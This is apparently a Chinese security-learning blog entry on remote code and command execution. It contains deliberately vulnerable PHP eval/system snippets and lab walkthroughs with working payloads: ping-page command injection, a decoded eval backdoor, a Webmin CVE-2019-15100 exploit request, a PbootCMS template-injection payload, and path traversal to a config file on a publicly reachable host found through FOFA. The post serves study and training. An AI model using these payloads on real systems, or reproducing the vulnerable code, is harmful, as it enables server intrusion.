20260404网安学习日志——RCE漏洞

一、RCE漏洞

所谓RCE漏洞,即Remote Code/Command Execution,远程代码执⾏ 和**远程命令执⾏**漏洞。

在很多Web应⽤中,开发⼈员会使⽤⼀些函数,这些函数以⼀些字符串作为输⼊,功能是将输⼊的字符串当作代码或者命令来进⾏执⾏。当⽤户可以控制这些函数的输⼊时,就产⽣了RCE漏洞。

RCE漏洞是⾮常严重的安全漏洞,⼀旦出现,就意味着攻击者可以获取服务器的命令执⾏权限,从⽽对服务器安全造成极⼤的影响。

(一)远程代码执行

案例

1.php

复制代码
<?php 
$code=$_GET['x']; 
eval($code); 
?>

访问:http://127.0.0.1/1.php?x=phpinfo();

把代码传入x

(二)远程命令执行

案例

2.php

复制代码
<?php 
$code=$_GET['x']; 
echo system($code); 
?>

访问:http://127.0.0.1/2.php?x=ipconfig

把命令传入x

二、靶场训练(墨者学院在线靶场)

(一)命令注入执行分析

某单位IT运维人员为了方便,在服务器上留了一个页面,用来ping内部服务器连通情况。安全工程师"墨者"在做月度检查时发现了这一文件,检查发现这一文件存在漏洞,要求运维人员立刻下线。

思路一

ping一下自己127.0.0.1发现ping的通但是没什么实际意义

F12查看一下进行简单的信息收集

发现Serve是apache2.4.7(Ubuntu)

再简单试一下127.0.0.1 | ls 发现做了拦截不可用。

打开bp抓包,先输入127.0.0.1去ping,然后从bp重放器中进行修改,修改为127.0.0.1 | ls。

得到响应

发现关键key_13320321422314.php

再去重试

127.0.0.1|cat<key_13320321422314.php 重定向

成功!

思路二

直接禁用前端JS

输入127.0.0.1| ls ping一下,直接就出现了key

然后再接重定向127.0.0.1|cat<key_13320321422314.php

(二)PHP代码分析溯源

所谓的代码分析溯源就是代码审计

小明收到一个网址,打开后是一串加密的代码。小明需要你们的帮助,感受到时代在召唤了吗?

思路

选中该部分可以右键查看该部分源代码

复制代码
<center>
   <br><br><br><br><br><br><br>-------------当前页面源码----key在根目录------------------<br><br>&lt;?php<br>eval(gzinflate(base64_decode(&amp;40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&amp;)));<br>?&gt;  </center>

并没有什么发现

将提示的语句拷贝进行测试

复制代码
<?php
eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)));
?> 
​
原来是eval执行,改为print打印输出,给&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&加双引号保证打印语法正确变为
<?php
print(gzinflate(base64_decode("&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&")));
?> 

访问后得到

复制代码
echo `$_REQUEST[a]`;; ?> 
​
这个语句就等同于
echo `$_GET POST[a]`;; ?> 
另外还有一点,`` 表示的是执行。''表示的是普通的打印

这样的话我们就可以向a传入命令,再次进行测试

复制代码
f.php
index.html
key_20055191493408.php
static

直接重定向key

http://182.44.114.36:46982/f.php?a=cat%3Ckey_20055191493408.php

但是发现页面什么也没有,再看一下源代码

复制代码
 发现有变化
 
 <?php
/*
mozhea9c8b0ccb5a59847fbc05c40ea1*/
?>

(三)公开漏洞

Webmin未经身份验证的远程代码执行

Webmin是用于类似Unix的系统的基于Web的系统配置工具,具有web页面。该漏洞存在于密码重置页面中,该页面允许未经身份验证的用户通过简单的POST请求执行任意命令。

访问靶场后看到这样一个页面,极具欺骗性。

点击高级添加例外获取证书,然后进入登录界面。直接bp抓包。

直接发到重放器测试

复制代码
POST /session_login.cgi HTTP/1.1
​
将这句话替换为(固定公式上):
POST /password_change.cgi HTTP/1.1
​
这个请求行对应的是Webmin/Usermin 远程命令执行漏洞(CVE-2019-15100)
/password_change.cgi 是 Webmin/Usermin 中用于修改密码的 CGI 脚本路径。
该脚本在处理旧密码、新密码等参数时,未对用户输入做严格过滤,直接将参数拼接到系统命令中执行,导致管道符 |、分号 ; 等可注入任意系统命令。
​
​
Host: 182.44.114.36:46989
Cookie: redirect=1; testing=1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Origin: https://182.44.114.36:46989
Referer: https://182.44.114.36:46989/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
​
user=dfasdf&pass=12345
​
讲这句话替换为(固定公式下):
user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
​
这是一段典型的命令注入(Command Injection)攻击载荷,常见于 Web 请求参数中,意图绕过校验执行系统命令。
核心恶意部分:old=test|id
管道符 | 会截断原有命令,并额外执行系统命令 id,用于获取当前运行服务的用户身份信息(UID/GID/ 用户名等)。

完整攻击请求结构

复制代码
POST /password_change.cgi HTTP/1.1
...
...
user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2

但是到这一步页面渲染中看到了id,但是Raw中并没有key的相关信息,前面的语句忽略了根目录,再次修改测试

复制代码
user=rootxx&pam=&expired=2&old=test|ls /&new1=test2&new2=test2

这次找到了key.txt

再次组装语法

复制代码
user=rootxx&pam=&expired=2&old=test|cat /key.txt&new1=test2&new2=test2

成功

复制代码
<center><h3>Failed to change password : The current password is incorrectmozheaf9f7ed7e5d9f67b3e39d4a2ddb</h3></center>

三、代码审计

(一)靶场搭建

看到留言板块,是一个很好地漏洞测试点

复制代码
注入
AboutController:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}
复制代码
然后衔接火狐渗透版拿下
http://localhost/pboot/index.php/about/10.html 
 
 Post data 
1=phpinfo();

(二)思路

代码审计工具里找一下类似eval的函数,先搜索eval。发现真的有

eval()把字符串直接当作 PHP 代码执行 ,是代码执行漏洞的第一重风险点。99% 的业务场景都不需要 eval,能不用就不用

复制代码
eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');

代码中 $matches[1][$i]外部可控输入$matches 几乎都来自正则匹配用户的 $_GET/$_POST/$_COOKIE 等输入数据),没有任何过滤、转义、校验 就直接拼接到 eval 字符串中。

在留言板块的URL中我们发现http://127.0.0.1/PbootCMS/index.php/about/10.html这样一条路径

然后在靶场文件夹中搜索about发现AboutController.php这样一个文件。

到这一步我们就获取了两个关键信息了AboutController、eval

于是就可以用自己的if语句代替它原来的if,于是就得到了之前的

复制代码
AboutController:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}

四、文件下载漏洞(补充)

(一)靶场搭建

FOFA找一个pikachu靶场,文件下载练习模块

(二)思路

右键可以选择查看一下

图片的下载链接:http://47.100.232.137/vul/unsafedownload/execdownload.php?filename=kb.png

图片本身的地址:http://47.100.232.137/vul/unsafedownload/download/kb.png

可以看到这两个是不一样的

这时候可以测试http://47.100.232.137/vul/unsafedownload/download/发现进到了图片的上级目录

在下载链接中猜测这个execdownload.php可能是个下载器

根据平时用的pikachu靶场的目录习惯猜测位置http://47.100.232.137/vul/unsafedownload/execdownload.php?filename=../../../inc/config.inc.php

../../../等号后这三部分,分别从前到后对应47.100.232.137/vul/unsafedownload/,也就是先要从unsafedownload一直退回到根目录,然后再进入Inc一直到拿到config。

相关推荐
stm32 菜鸟2 分钟前
nucleo-f411re学习记录-12,Wifi模块ESP8684
学习
stm32 菜鸟2 小时前
nucleo-f411re学习记录-9,双轴XY摇杆传感器
学习
南子北游2 小时前
Python学习(基础语法1)
开发语言·python·学习
Atri厨3 小时前
X86存储器的段描述符学习随笔
学习
星幻元宇VR4 小时前
VR航空航天科普设备助力航天知识普及
人工智能·科技·学习·安全·vr·虚拟现实
d111111111d4 小时前
STM32-UART封装问题解析
笔记·stm32·单片机·嵌入式硬件·学习·算法
寒秋花开曾相惜4 小时前
(学习笔记)4.2 逻辑设计和硬件控制语言HCL(4.2.1 逻辑门&4.2.2 组合电路和HCL布尔表达式)
linux·网络·数据结构·笔记·学习·fpga开发
菩提小狗5 小时前
每日安全情报报告 · 2026-04-24
网络安全·漏洞·cve·安全情报·每日安全
C2H5OH5 小时前
PortSwigger SQL注入LAB4
网络安全
叶子野格5 小时前
《C语言学习:指针》12
c语言·开发语言·c++·学习·visual studio